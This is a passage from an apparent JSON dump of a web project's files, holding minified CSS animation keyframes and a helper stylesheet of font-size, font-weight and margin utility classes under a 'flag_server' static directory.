bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:none;transform:none}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}"
  },
  {
    "path": "flag_server/webapps/static/css/helper.css",
    "content": "/*  font  */\n\n/*  font size */\n\n.f-s-1 {font-size: 1px!important;}\n.f-s-2 {font-size: 2px!important;}\n.f-s-3 {font-size: 3px!important;}\n.f-s-4 {font-size: 4px!important;}\n.f-s-5 {font-size: 5px!important;}\n.f-s-6 {font-size: 6px!important;}\n.f-s-7 {font-size: 7px!important;}\n.f-s-8 {font-size: 8px!important;}\n.f-s-9 {font-size: 9px!important;}\n.f-s-10 {font-size: 10px!important;}\n.f-s-11 {font-size: 11px!important;}\n.f-s-12 {font-size: 12px!important;}\n.f-s-13 {font-size: 13px!important;}\n.f-s-14 {font-size: 14px!important;}\n.f-s-15 {font-size: 15px!important;}\n.f-s-16 {font-size: 16px!important;}\n.f-s-17 {font-size: 17px!important;}\n.f-s-18 {font-size: 18px!important;}\n.f-s-19 {font-size: 19px!important;}\n.f-s-20 {font-size: 20px!important;}\n.f-s-21 {font-size: 21px!important;}\n.f-s-22 {font-size: 22px!important;}\n.f-s-23 {font-size: 23px!important;}\n.f-s-24 {font-size: 24px!important;}\n.f-s-25 {font-size: 25px!important;}\n.f-s-26 {font-size: 26px!important;}\n.f-s-27 {font-size: 27px!important;}\n.f-s-28 {font-size: 28px!important;}\n.f-s-29 {font-size: 29px!important;}\n.f-s-30 {font-size: 30px!important;}\n.f-s-31 {font-size: 31px!important;}\n.f-s-32 {font-size: 32px!important;}\n.f-s-33 {font-size: 33px!important;}\n.f-s-34 {font-size: 34px!important;}\n.f-s-35 {font-size: 35px!important;}\n.f-s-36 {font-size: 36px!important;}\n.f-s-37 {font-size: 37px!important;}\n.f-s-38 {font-size: 38px!important;}\n.f-s-39 {font-size: 39px!important;}\n.f-s-40 {font-size: 40px!important;}\n.f-s-41 {font-size: 41px!important;}\n.f-s-42 {font-size: 42px!important;}\n.f-s-43 {font-size: 43px!important;}\n.f-s-44 {font-size: 44px!important;}\n.f-s-45 {font-size: 45px!important;}\n.f-s-46 {font-size: 46px!important;}\n.f-s-47 {font-size: 47px!important;}\n.f-s-48 {font-size: 48px!important;}\n.f-s-49 {font-size: 49px!important;}\n.f-s-50 {font-size: 50px!important;}\n.f-s-51 {font-size: 51px!important;}\n.f-s-52 {font-size: 52px!important;}\n.f-s-53 {font-size: 53px!important;}\n.f-s-54 {font-size: 54px!important;}\n.f-s-55 {font-size: 55px!important;}\n.f-s-56 {font-size: 56px!important;}\n.f-s-57 {font-size: 57px!important;}\n.f-s-58 {font-size: 58px!important;}\n.f-s-59 {font-size: 59px!important;}\n.f-s-60 {font-size: 60px!important;}\n.f-s-61 {font-size: 61px!important;}\n.f-s-62 {font-size: 62px!important;}\n.f-s-63 {font-size: 63px!important;}\n.f-s-64 {font-size: 64px!important;}\n.f-s-65 {font-size: 65px!important;}\n.f-s-66 {font-size: 66px!important;}\n.f-s-67 {font-size: 67px!important;}\n.f-s-68 {font-size: 68px!important;}\n.f-s-69 {font-size: 69px!important;}\n.f-s-70 {font-size: 70px!important;}\n.f-s-71 {font-size: 71px!important;}\n.f-s-72 {font-size: 72px!important;}\n.f-s-73 {font-size: 73px!important;}\n.f-s-74 {font-size: 74px!important;}\n.f-s-75 {font-size: 75px!important;}\n.f-s-76 {font-size: 76px!important;}\n.f-s-77 {font-size: 77px!important;}\n.f-s-78 {font-size: 78px!important;}\n.f-s-79 {font-size: 79px!important;}\n.f-s-80 {font-size: 80px!important;}\n.f-s-81 {font-size: 81px!important;}\n.f-s-82 {font-size: 82px!important;}\n.f-s-83 {font-size: 83px!important;}\n.f-s-84 {font-size: 84px!important;}\n.f-s-85 {font-size: 85px!important;}\n.f-s-86 {font-size: 86px!important;}\n.f-s-87 {font-size: 87px!important;}\n.f-s-88 {font-size: 88px!important;}\n.f-s-89 {font-size: 89px!important;}\n.f-s-90 {font-size: 90px!important;}\n.f-s-91 {font-size: 91px!important;}\n.f-s-92 {font-size: 92px!important;}\n.f-s-93 {font-size: 93px!important;}\n.f-s-94 {font-size: 94px!important;}\n.f-s-95 {font-size: 95px!important;}\n.f-s-96 {font-size: 96px!important;}\n.f-s-97 {font-size: 97px!important;}\n.f-s-98 {font-size: 98px!important;}\n.f-s-99 {font-size: 99px!important;}\n.f-s-100 {font-size: 100px!important;}\n\n/*   font weight */\n\n.f-w-100 {font-weight: 100}\n.f-w-200 {font-weight: 200}\n.f-w-300 {font-weight: 300}\n.f-w-400 {font-weight: 400}\n.f-w-500 {font-weight: 500}\n.f-w-600 {font-weight: 600}\n.f-w-700 {font-weight: 700}\n.f-w-800 {font-weight: 800}\n.f-w-900 {font-weight: 900}\n\n\n/*   margin  */\n\n.m-0 {margin: 0px!important;}\n\n/*   margin top  */\n\n.m-t-0 {margin-top: 0px!important;}\n.m-t-1 {margin-top: 1px!important;}\n.m-t-2 {margin-top: 2px!important;}\n.m-t-3 {margin-top: 3px!important;}\n.m-t-4 {margin-top: 4px!important;}\n.m-t-5 {margin-top: 5px!important;}\n.m-t-6 {margin-top: 6px!important;}\n.m-t-7 {margin-top: 7px!important;}\n.m-t-8 {margin-top: 8px!important;}\n.m-t-9 {margin-top: 9px!important;}\n.m-t-10 {margin-top: 10px!important;}\n.m-t-11 {margin-top: 11px!important;}\n.m-t-12 {margin-top: 12px!important;}\n.m-t-13 {margin-top: 13px!important;}\n.m-t-14 {margin-top: 14px!important;}\n.m-t-15 {margin-top: 15px!important;}\n.m-t-16 {margin-top: 16px!important;}\n.m-t-17 {margin-top: 17px!important;}\n.m-t-18 {margin-top: 18px!important;}\n.m-t-19 {margin-top: 19px!important;}\n.m-t-20 {margin-top: 20px!important;}\n.m-t-21 {margin-top: 21px!important;}\n.m-t-22 {margin-top: 22px!important;}\n.m-t-23 {margin-top: 23px!important;}\n.m-t-24 {margin-top: 24px!important;}\n.m-t-25 {margin-top: 25px!important;}\n.m-t-26 {margin-top: 26px!important;}\n.m-t-27 {margin-top: 27px!important;}\n.m-t-28 {margin-top: 28px!important;}\n.m-t-29 {margin-top: 29px!important;}\n.m-t-30 {margin-top: 30px!important;}\n.m-t-31 {margin-top: 31px!important;}\n.m-t-32 {margin-top: 32px!important;}\n.m-t-33 {margin-top: 33px!important;}\n.m-t-34 {margin-top: 34px!important;}\n.m-t-35 {margin-top: 35px!important;}\n.m-t-36 {margin-top: 36px!important;}\n.m-t-37 {margin-top: 37px!important;}\n.m-t-38 {margin-top: 38px!important;}\n.m-t-39 {margin-top: 39px!important;}\n.m-t-40 {margin-top: 40px!important;}\n.m-t-41 {margin-top: 41px!important;}\n.m-t-42 {margin-top: 42px!important;}\n.m-t-43 {margin-top: 43px!important;}\n.m-t-44 {margin-top: 44px!important;}\n.m-t-45 {margin-top: 45px!important;}\n.m-t-46 {margin-top: 46px!important;}\n.m-t-47 {margin-top: 47px!important;}\n.m-t-48 {margin-top: 48px!important;}\n.m-t-49 {margin-top: 49px!important;}\n.m-t-50 {margin-top: 50px!important;}\n.m-t-51 {margin-top: 51px!important;}\n.m-t-52 {margin-top: 52px!important;}\n.m-t-53 {margin-top: 53px!important;}\n.m-t-54 {margin-top: 54px!important;}\n.m-t-55 {margin-top: 55px!important;}\n.m-t-56 {margin-top: 56px!important;}\n.m-t-57 {margin-top: 57px!important;}\n.m-t-58 {margin-top: 58px!important;}\n.m-t-59 {margin-top: 59px!important;}\n.m-t-60 {margin-top: 60px!important;}\n.m-t-61 {margin-top: 61px!important;}\n.m-t-62 {margin-top: 62px!important;}\n.m-t-63 {margin-top: 63px!important;}\n.m-t-64 {margin-top: 64px!important;}\n.m-t-65 {margin-top: 65px!important;}\n.m-t-66 {margin-top: 66px!important;}\n.m-t-67 {margin-top: 67px!important;}\n.m-t-68 {margin-top: 68px!important;}\n.m-t-69 {margin-top: 69px!important;}\n.m-t-70 {margin-top: 70px!important;}\n.m-t-71 {margin-top: 71px!important;}\n.m-t-72 {margin-top: 72px!important;}\n.m-t-73 {margin-top: 73px!important;}\n.m-t-74 {margin-top: 74px!important;}\n.m-t-75 {margin-top: 75px!important;}\n.m-t-76 {margin-top: 76px!important;}\n.m-t-77 {margin-top: 77px!important;}\n.m-t-78 {margin-top: 78px!important;}\n.m-t-79 {margin-top: 79px!important;}\n.m-t-80 {margin-top: 80px!important;}\n.m-t-81 {margin-top: 81px!important;}\n.m-t-82 {margin-top: 82px!important;}\n.m-t-83 {margin-top: 83px!important;}\n.m-t-84 {margin-top: 84px!important;}\n.m-t-85 {margin-top: 85px!important;}\n.m-t-86 {margin-top: 86px!important;}\n.m-t-87 {margin-top: 87px!important;}\n.m-t-88 {margin-top: 88px!important;}\n.m-t-89 {margin-top: 89px!important;}\n.m-t-90 {margin-top: 90px!important;}\n.m-t-91 {margin-top: 91px!important;}\n.m-t-92 {margin-top: 92px!important;}\n.m-t-93 {margin-top: 93px!important;}\n.m-t-94 {margin-top: 